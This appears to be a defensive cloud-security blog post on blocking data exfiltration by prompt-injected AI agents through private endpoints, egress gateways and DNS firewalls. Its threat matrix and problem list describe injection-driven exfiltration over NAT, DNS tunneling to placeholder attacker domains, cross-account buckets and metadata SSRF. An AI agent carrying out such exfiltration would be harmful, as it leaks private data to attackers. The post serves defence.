If an AI agent can reach both your production database and the public internet, an indirect prompt injection becomes a silent data exfiltration pipeline—so closing outbound egress and moving traffic onto private endpoints breaks the third leg of the lethal trifecta.

TL;DR

  • Problem: Putting an agent in a “private subnet” with a NAT Gateway still gives it full outbound internet access, and creating a cloud private endpoint does not automatically block public access or cross-account exfiltration.
  • Answer: Remove Internet Gateways and NAT Gateways from untrusted agent subnets, route database and LLM traffic over AWS PrivateLink, Google Cloud Private Service Connect (with VPC Service Controls), or Azure Private Link (with PE Network Policies enabled), and enforce any required SaaS egress on a dedicated Envoy/Istio egress gateway outside the agent pod.
  • Watch out: AWS VPC Interface Endpoints default to an Allow * policy, Azure disables NSGs on Private Endpoint subnets by default unless private-endpoint-network-policies is enabled, and recursive DNS resolvers still allow DNS tunneling if left open.

Private connectivity plus zero public egress closes exfiltration

Situation

In Post 1, we defined the lethal trifecta: private data access, untrusted input, and external communication. Removing outbound communication is the cleanest way to neutralize indirect prompt injection in internal triage, RAG, and diagnostic agents—because even if a poisoned database row or MCP tool description hijacks the model’s reasoning, the stolen data has nowhere to go.

Yet most cloud-deployed agents sit in general-purpose Kubernetes clusters or VPC subnets that attach a NAT Gateway by default so pods can pull container images, reach third-party LLM APIs, or call SaaS webhooks. From an attacker’s perspective, a NAT Gateway is an open exfiltration pipe on port 443. Worse, even when teams provision AWS PrivateLink, Google Cloud Private Service Connect (PSC), or Azure Private Link to reach managed databases and model endpoints privately, they often misinterpret what private connectivity actually enforces.

Private connectivity keeps packets on the cloud provider’s backbone, but unless paired with endpoint policies, perimeter fences, and L7 egress gateways, an attacker inside the agent can still exfiltrate data to their own cloud bucket or SaaS webhook in the same region.

The Problem

Securing agent egress fails when teams equate “private subnet” or “private endpoint” with “zero exfiltration.”

Agent network traffic crosses three perimeter boundaries

Four concrete networking constraints govern why naive VPC setups fail under agent exploitation:

  1. Private endpoints do not block same-region attacker accounts by default (TB-2). Creating an AWS PrivateLink Interface Endpoint for S3 or Bedrock defaults to an Allow * resource policy. Without an explicit VPC Endpoint Policy pinning Principal and aws:ResourceOrgID, a compromised agent with stolen or overly broad IAM permissions can write exfiltrated database rows to an attacker’s S3 bucket over the private backbone without ever touching the public internet.
  2. Azure Private Endpoints bypass subnet NSGs unless explicitly enabled (TB-2 to TB-3). In Azure, creating a Private Endpoint does not disable public network access on Azure SQL or Azure OpenAI—you must set Public network access = Disabled separately. Furthermore, Azure disables Network Policies for Private Endpoints on subnets by default, meaning NSGs applied to a Private Endpoint subnet are silently ignored unless you run az network vnet subnet update --private-endpoint-network-policies Enabled.
  3. In-pod egress proxies are bypassable by compromised runtimes (TB-1). Placing an HTTP proxy environment variable (HTTPS_PROXY) or a sidecar inside the same Kubernetes pod as an agent tool fails if the tool executes arbitrary code, ignores proxy variables, or opens raw TCP/DNS sockets. Per Istio and Envoy egress architectures, L7 egress policy must be enforced on a dedicated egress gateway separated from the application pod, backed by L4 network policies that block direct pod-to-internet routing.
  4. Recursive DNS provides a covert exfiltration channel even when HTTP is blocked (TB-1). If an isolated subnet blocks 0.0.0.0/0 on TCP 80/443 but leaves UDP/TCP port 53 open to a recursive resolver that forwards external domains, an agent that can trigger name resolution (via fetch, ping, or database extensions) can encode stolen records into subdomain queries (<hex-secret>.attacker.tld).

How do you design private connectivity and egress controls across AWS, Google Cloud, and Azure so a compromised data agent cannot leak records over the internet, DNS, or same-cloud attacker accounts?

Options Considered: Comparing Cloud Private Connectivity

Each major cloud provides private backbone routing, but their perimeter and policy primitives differ in what they actually control.

PrivateLink, PSC, and Azure Private Link enforce different perimeters

How the Options Compare

CapabilityAWS PrivateLink + SGGoogle Cloud PSC + VPC-SCAzure Private Link + NSG
Private LLM API routingInterface VPC Endpoint (com.amazonaws.<region>.bedrock-runtime) with Private DNSPSC Endpoint (all-apis or service attachment) + PSC Interface for Vertex AIPrivate Endpoint for Azure OpenAI (*.openai.azure.com) + Private DNS Zone
Private DB routingRDS in private VPC accessed via Security Group ID (no native same-account PrivateLink without NLB)Cloud SQL PSC service attachment mapped to internal PSC IP in consumer VPCPrivate Endpoint for Azure SQL (*.database.windows.net, TCP 1433)
What it DOES controlKeeps traffic off public internet; Endpoint Policies restrict IAM principals & org resourcesKeeps traffic on Google backbone; VPC Service Controls (VPC-SC) blocks cross-org data exfiltration even with stolen credsKeeps traffic off public internet; Private DNS resolves FQDNs to VNet private IPs
What it DOES NOT controlDoes not block DNS tunneling or arbitrary NAT egress on its own; RDS needs SG rulesDoes not stop allowed intra-perimeter egress or NAT egress unless firewall deny rules block internetDoes not disable Public Network Access automatically; subnet NSGs ignored on PE subnet by default
Critical hardening stepReplace default Allow * VPC Endpoint Policy; remove NAT/IGW from agent subnetPlace Vertex AI & Cloud SQL inside a VPC-SC perimeter; scope egress rules to pscEndpointEnable --private-endpoint-network-policies, set Public network access = Disabled, deny Internet tag in NSG

The comparison makes one architectural lesson clear: private endpoints solve ingress to your databases and model APIs, not egress from your agent. To close the exfiltration leg, you must pair private endpoints with subnet-level internet removal (no IGW/NAT), internal-only DNS, and—where SaaS webhooks are genuinely required for Profile B workflows—an external Istio/Envoy Egress Gateway.

Multi-Layer Private Connectivity and Egress Architecture

The target architecture enforces four concentric network layers around the agent runtime so no single misconfiguration opens an exfiltration path.

Combine isolated subnets, private endpoints, and egress gateways

Layer 1: Isolated Agent Subnet (No IGW, No NAT, Internal DNS)

Deploy Profile A agents (which read private data and untrusted text) into dedicated private subnets with zero route to an Internet Gateway or NAT Gateway. Security Groups (AWS), VPC Firewall rules (GCP), or NSGs (Azure) allow outbound traffic only to:

  • The specific Private Endpoint / RDS / Cloud SQL Security Group IDs or internal PSC IPs on required database/HTTPS ports (5432, 3306, 27017, 443).
  • The cluster’s internal DNS resolver, configured with Route 53 Resolver DNS Firewall (AWS), Cloud DNS response policies (GCP), or Azure DNS Private Resolver rules that drop resolution for unapproved external domains—neutralizing DNS tunneling and cloud metadata SSRF (169.254.169.254).

Layer 2: Dedicated Istio / Envoy Egress Gateway (For Profile B Only)

When a deterministic workflow (Profile B from Post 1) must push structured notifications to an external SaaS webhook (such as PagerDuty or Slack), never attach a NAT Gateway directly to the agent subnet. Instead:

  • Enforce Kubernetes NetworkPolicy / cloud firewall rules permitting the pod to send external-bound traffic only to a dedicated Istio/Envoy Egress Gateway namespace running on separate nodes.
  • Configure the Envoy Egress Gateway with strict TLS SNI / Host allowlists (hooks.slack.com), mutual TLS from the workload identity, and full access logging—so a compromised application pod cannot bypass the proxy via raw sockets.

Layer 3 & 4: Cloud Perimeter Policies and Disabled Public Access

Lock the cloud backbone itself so stolen IAM credentials cannot exfiltrate data to an attacker-owned account in the same cloud:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictBedrockToOrgRole",
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::123456789012:role/mcp-agent-runtime" },
      "Action": ["bedrock:InvokeModel", "bedrock:InvokeModelWithResponseStream"],
      "Resource": "*"
    }
  ]
}

On Google Cloud, wrap both Vertex AI and Cloud SQL inside a VPC Service Controls perimeter; even if an attacker compromises a service account token inside the VPC, VPC-SC blocks API calls to external Cloud Storage buckets or BigQuery datasets outside the perimeter unless explicitly permitted via a pscEndpoint egress rule. On Azure, enable Private Endpoint Network Policies on the endpoint subnet, bind NSGs using Application Security Groups (ASGs), and set publicNetworkAccess: Disabled on every Azure SQL and Azure OpenAI resource.

Attacker and Defender Threat Matrix

Threat VectorTrust Boundary CrossedAttacker Objective (OWASP / ATLAS)Defender Control (Deterministic)Verification Signal
Outbound webhook / curl via NATTB-1 (Pod → Internet)Exfiltrate DB rows to attacker server over port 443 (Exfiltration)Remove NAT/IGW from Profile A subnets; deny 0.0.0.0/0 in SG/NSGcurl https://example.com from agent pod times out immediately
Same-cloud cross-account copyTB-2 (Endpoint → Attacker Acct)Copy data to attacker’s S3/GCS bucket via private backboneAWS VPC Endpoint Policy (Principal + ResourceOrgID) / GCP VPC-SCWrite to external bucket fails with AccessDenied / VPC-SC violation
Azure public endpoint fallbackTB-3 (Public Net → Azure SQL)Bypass Private Link and hit public FQDN if DNS leaksSet Public network access = Disabled + Private DNS ZonesPublic IP resolution or external connection attempt returns 403 / blocked
Azure PE subnet NSG bypassTB-2 (Subnet → PE NIC)Reach Private Endpoint from unauthorized VNet subnetRun --private-endpoint-network-policies Enabled + inbound NSG allowlistUnauthorized subnet connection to PE private IP is dropped by NSG
DNS tunneling exfiltrationTB-1 (Pod → Recursive DNS)Encode rows into *.evil.tld DNS lookups when HTTP is blockedInternal-only DNS + Route 53 DNS Firewall / Cloud DNS blocklistdig secret.evil.tld returns NXDOMAIN or REFUSED
In-pod proxy / sidecar bypassTB-1 (Compromised Tool → Net)Ignore HTTPS_PROXY env var and open raw TCP socketEnforce L4 NetworkPolicy blocking all pod egress except Envoy Egress GWDirect TCP connection to allowed SaaS IP from pod is dropped
Cloud metadata SSRF (169.254.169.254)TB-1 (Tool → Instance Metadata)Steal node/VM IAM role credentials via SSRF (MCP spec risk)Require IMDSv2 (hop limit 1) / block 169.254.169.254 in SG/NetworkPolicyMetadata fetch from container returns connection refused / 403

How It Rolls Out

Verifying private DNS, L4 firewalls, and cloud perimeter policies in sequence ensures zero silent fallback to public routing.

Private DNS, endpoint policies, and gateways verify every packet

Runtime Packet Flow

  1. 01 Private DNS: The agent or MCP gateway resolves the database or LLM API hostname. Private DNS (AWS Enable Private DNS Name, GCP Cloud DNS PSC zone, Azure Private DNS Zones) returns an internal RFC1918 IP inside the VPC/VNet—never a public IP.
  2. 02 L4 SG / NSG: Outbound traffic from the agent subnet is evaluated against Security Groups or NSGs. Only internal endpoint Security Groups/ASGs and database ports (5432, 3306, 27017, 1433, 443) are permitted; 0.0.0.0/0 and Internet tags are denied.
  3. 03 Policy Gate: At the private endpoint, AWS VPC Endpoint Policies or Google Cloud VPC Service Controls verify that the calling IAM principal and target resource belong to the approved organization perimeter.
  4. 04 SaaS Egress Gateway: For Profile B sessions that require an external webhook, traffic routes from the agent pod to the dedicated Istio/Envoy Egress Gateway, which validates TLS SNI/Host against a strict allowlist and logs the outbound request.

Phased Rollout and Rollback Gates

  1. Phase 1 — Provision Private Endpoints and Private DNS: Deploy PrivateLink Interface Endpoints (AWS), PSC endpoints/attachments (GCP), or Azure Private Endpoints + Private DNS Zones for all databases and LLM APIs. Gate: nslookup from the agent subnet resolves all DB and LLM FQDNs to internal RFC1918 IPs. Rollback: Revert DNS zone association if a service endpoint fails health checks.
  2. Phase 2 — Lock Cloud Perimeters and Disable Public Access: Attach least-privilege VPC Endpoint Policies (AWS), place projects in a VPC-SC perimeter in dry-run then enforced mode (GCP), and set Public network access = Disabled plus --private-endpoint-network-policies Enabled (Azure). Gate: Cross-account/external connection probes fail; VPC-SC dry-run logs zero legitimate denials. Rollback: Switch VPC-SC back to dry-run mode if an undocumented internal pipeline is blocked.
  3. Phase 3 — Isolate Agent Subnets and DNS: Move Profile A agent and MCP pods to subnets with zero IGW/NAT routes, block 169.254.169.254, and enable DNS firewalling for external domains. Gate: curl and dig to external domains fail from inside the agent pod. Rollback: Re-attach temporary NAT only for non-sensitive Profile C research pods, never Profile A.
  4. Phase 4 — Deploy Envoy Egress Gateway for Profile B: Route approved external SaaS webhooks through a dedicated Istio/Envoy Egress Gateway with L4 NetworkPolicy enforcement. Gate: Direct pod egress to approved SaaS IPs is blocked unless traversing the Envoy gateway. Rollback: Add missing approved host to Envoy ServiceEntry via Git PR.

In Practice

I have not operated every multi-cloud private connectivity topology simultaneously at global scale, so the controls in this post are derived from official cloud networking documentation and service-mesh specifications:

  • AWS PrivateLink and VPC Endpoint Policies (Pattern A — AWS Docs): Per AWS PrivateLink documentation, Interface VPC Endpoints route Bedrock and AWS API traffic over the AWS backbone with Enable Private DNS Name, and default to full access unless restricted by an attached VPC Endpoint Policy.
  • Google Cloud PSC and VPC Service Controls (Pattern A — Google Cloud Docs): Per Google Cloud VPC Service Controls and Private Service Connect documentation, placing Vertex AI and Cloud SQL inside a VPC-SC perimeter blocks internet and cross-perimeter exfiltration even with compromised credentials, and Private Service Connect endpoints for Google APIs can be referenced as an attribute in ingress and egress rules (check the exact field syntax in the ingress and egress rules reference).
  • Azure Private Link and Network Policies (Pattern A — Microsoft Docs): Per Azure Private Link documentation, creating a Private Endpoint does not disable public network access on the target resource, and subnet NSGs do not filter Private Endpoint traffic unless --private-endpoint-network-policies Enabled is explicitly configured.
  • Dedicated Egress Gateways (Pattern A — Service Mesh Docs): Per Istio Egress Gateway documentation, enforcing L7 host allowlists on a dedicated egress gateway rather than an in-pod sidecar prevents a compromised application container from bypassing egress policy, but only if a Kubernetes NetworkPolicy (or equivalent) also blocks direct egress from the pod, because otherwise the app can simply skip the gateway.

Where It Breaks

Private connectivity fails when NAT or public endpoints remain

ConditionBreaks HowDetectMitigate
VPC-SC retrofitted onto active pipelinesEnforcing VPC-SC on existing Vertex AI / Cloud SQL projects breaks undocumented cross-project data pathsSpike in VPC_SERVICE_CONTROLS audit denial logsRun VPC-SC in dry-run mode first to inventory all cross-project calls before enforcing
Private DNS resolution fails silentlyClient falls back to public DNS, sending traffic toward a disabled public endpoint and failing with 403/timeoutdig returns public IP instead of 10.x / 172.16.xValidate Private DNS Zone links and Enable Private DNS Name in CI/CD smoke tests
Shared NAT Gateway across Profile A and C podsPutting untrusted triage agents in the same subnet as web-research agents gives triage agents full NAT egressSubnet route table shows 0.0.0.0/0 -> nat-... attached to Profile A subnetPhysically separate Profile A (no NAT) and Profile C (egress-allowed, no DB creds) into distinct subnets
Stale VPC Flow Logs / unmonitored egress denialsRepeated blocked exfiltration attempts go unnoticed by security teamsZero alerts on REJECT entries in VPC Flow LogsAlert on repeated outbound REJECT spikes or DNS firewall NXDOMAIN bursts from agent subnets
Over-broad Envoy wildcard (*.amazonaws.com)Allowing wildcard domains on an egress gateway lets attackers target personal buckets or endpointsEnvoy access logs show connections to unapproved subdomainsAllowlist exact FQDNs only (hooks.slack.com), never broad wildcard domains

Key Takeaways

  • Private connectivity is not egress control: AWS PrivateLink, Google Cloud PSC, and Azure Private Link keep traffic off the public internet, but they do not stop outbound NAT or same-cloud cross-account exfiltration by themselves.
  • Remove IGW and NAT from Profile A agent subnets: An agent that reads private databases and untrusted text must have zero route to the public internet.
  • Harden cloud-specific defaults: Replace AWS’s default Allow * VPC Endpoint Policy, enforce Google Cloud VPC Service Controls, and enable Azure’s --private-endpoint-network-policies plus Public network access = Disabled.
  • Close DNS tunneling and metadata SSRF: Use internal-only DNS with DNS firewalls, and block 169.254.169.254 from agent containers.
  • Enforce L7 egress on a dedicated gateway: When Profile B workflows require external SaaS webhooks, route them through an external Istio/Envoy Egress Gateway rather than an in-pod proxy.

What to Do Next

  • Problem: Agents in private subnets with NAT Gateways or default-configured private endpoints can still exfiltrate database records over the internet, DNS, or same-cloud attacker accounts.
  • Solution: Move database and LLM traffic onto PrivateLink, PSC + VPC-SC, or Azure Private Link (with PE Network Policies and Public Access Disabled), strip NAT/IGW from Profile A subnets, and isolate any required SaaS egress behind a dedicated Envoy gateway.
  • Proof: From inside a Profile A agent pod, run curl https://example.com, dig test.example.com, and a write to an external-account cloud bucket; verify all three fail at the network or perimeter layer.
  • Action: Audit your agent subnets and private endpoints this week—check for attached NAT Gateways, Allow * AWS endpoint policies, and Azure Private Endpoints with public network access still enabled.